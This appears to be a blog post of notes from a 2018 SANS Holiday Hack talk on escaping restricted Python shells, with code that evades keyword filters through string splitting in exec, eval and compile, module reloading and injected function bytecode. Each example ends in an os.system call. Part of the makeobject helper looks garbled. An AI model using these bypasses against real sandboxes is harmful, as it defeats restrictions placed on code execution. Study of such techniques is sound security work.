## Notes on Escaping Python Shells

- [Overwrite/Reload Python Modules](#)
- [Python as Child Process](#)
  - [exec](#)
  - [eval](#)
  - [compile](#)
  - [exec, eval, import and compile are blocked](#)

During the [SANS Holiday Hack Challenge 2018](#), I viewed a talk by [Mark Baggett](#) about escaping Python shells. These are my notes.

- Talk: <https://www.youtube.com/watch?v=ZVx2Sx13B9c>
- Code: <https://gist.github.com/MarkBaggett/dd440362f8a443d644b913acadff9499>

### Who am I?

I am Parsia, a security engineer at [Electronic Arts](#).

I write about application security, reverse engineering, Go, cryptography, and (obviously) videogames.

Click on [About Me!](#) to know more.

in

### Collections

It's part of [SANS SEC573: Automating Information Security with Python](#) which looks interesting. Although, I am Go fanatic and will probably will never be able to afford to course anyways. Creating a Go version of the course sounds fun.

## Overwrite/Reload Python Modules

Overwrite them in memory:

```
import sys
sys.modules['os'].system = lambda *x,**y:"STOP HACKING"
del sys

# now if I want to run it
import os
os.system("ls")
# I get stop hacking
'STOP HACKING'
```

To defeat, we can reload them in Python 3 with `importlib`

```
import importlib
importlib.reload(os)
```

## Python as Child Process

Python interpreter is launched as a child process and then keywords are filtered with

`readfunc()`.

**exec**

squatting - my very legit  
branded vulnerability](#)

Executes Python code that does not return a result. Break the statements into pieces and run them.

```
exec("imp" + "ort os")  
os.system("id")
```

## eval

Executes Python code that returns a result.

```
os = eval('__im' + 'port__("os")') # __import__("os")  
os.system("id")
```

## compile

Turns a string into bytecode.

```
code = compile("im" + "port os", "", "single") # single means only compile this single  
  
# now we need to execute it  
# make a function that does nothing  
def a():  
    return  
  
# and overwrite it  
a.__code__ = code  
  
# execute it  
a()  
  
# now os should be imported  
os.system("id")
```

## exec, eval, import and compile are blocked

Go to a different Python interpreter, make the function you want. Interpreter versions should somewhat match (e.g. both 2.7 or 3.5):

```
def bypass():  
    import os  
    print(os.system("id"))
```

Paste `make_object.py` from

[https://gist.github.com/MarkBaggett/dd440362f8a443d644b913acadff9499#file-make\\_object-py](https://gist.github.com/MarkBaggett/dd440362f8a443d644b913acadff9499#file-make_object-py) this function into the 2nd interpreter:

```
import sys  
def makeobject(afunction):  
    print("Generating a function for version {}.{} (same version as this machine)".format(sys.version_info.major, sys.version_info.minor))  
    newstr = ""  
    newstr += "def a():\n"  
    newstr += "    return\n\n"  
    if sys.version_info.major == 2:  
        co = afunction.__code__  
        if sys.version_info.minor not in [5,6,7]:  
            print("This code has not been tested on this version of python. It may not work")  
        newstr += "a.__code__ = type(a.__code__)(0,1,2,3,'{4}','{5}','{6}','{7}','{8}','{9}'\n"  
    elif sys.version_info.major == 3:  
        co = afunction.__code__  
        if sys.version_info.minor not in [5]:  
            print("This code has not been tested on this version of python. It may not work")  
        newstr += "a.__code__ = type(a.__code__)(0,1,2,3,4,5,6,7,8,9)\n"  
    else:  
        print("This code has not been tested on this version of python. It may not work")
```

```
print("This version of python is not tested and may not work")
print(newstr)
```

Now call `makeobject(bypass)` to get the bytecode for it. It gives a string that can be copy/pasted into the remote system. It will create a function called `a` and then bytecode for it that does what `bypass` does. Might need to break the keywords into a string again (e.g. `"import"` to `"im" + "port"`).

Unsurprisingly, the challenge used this method. See my solution to [Python Escape from LA](#).
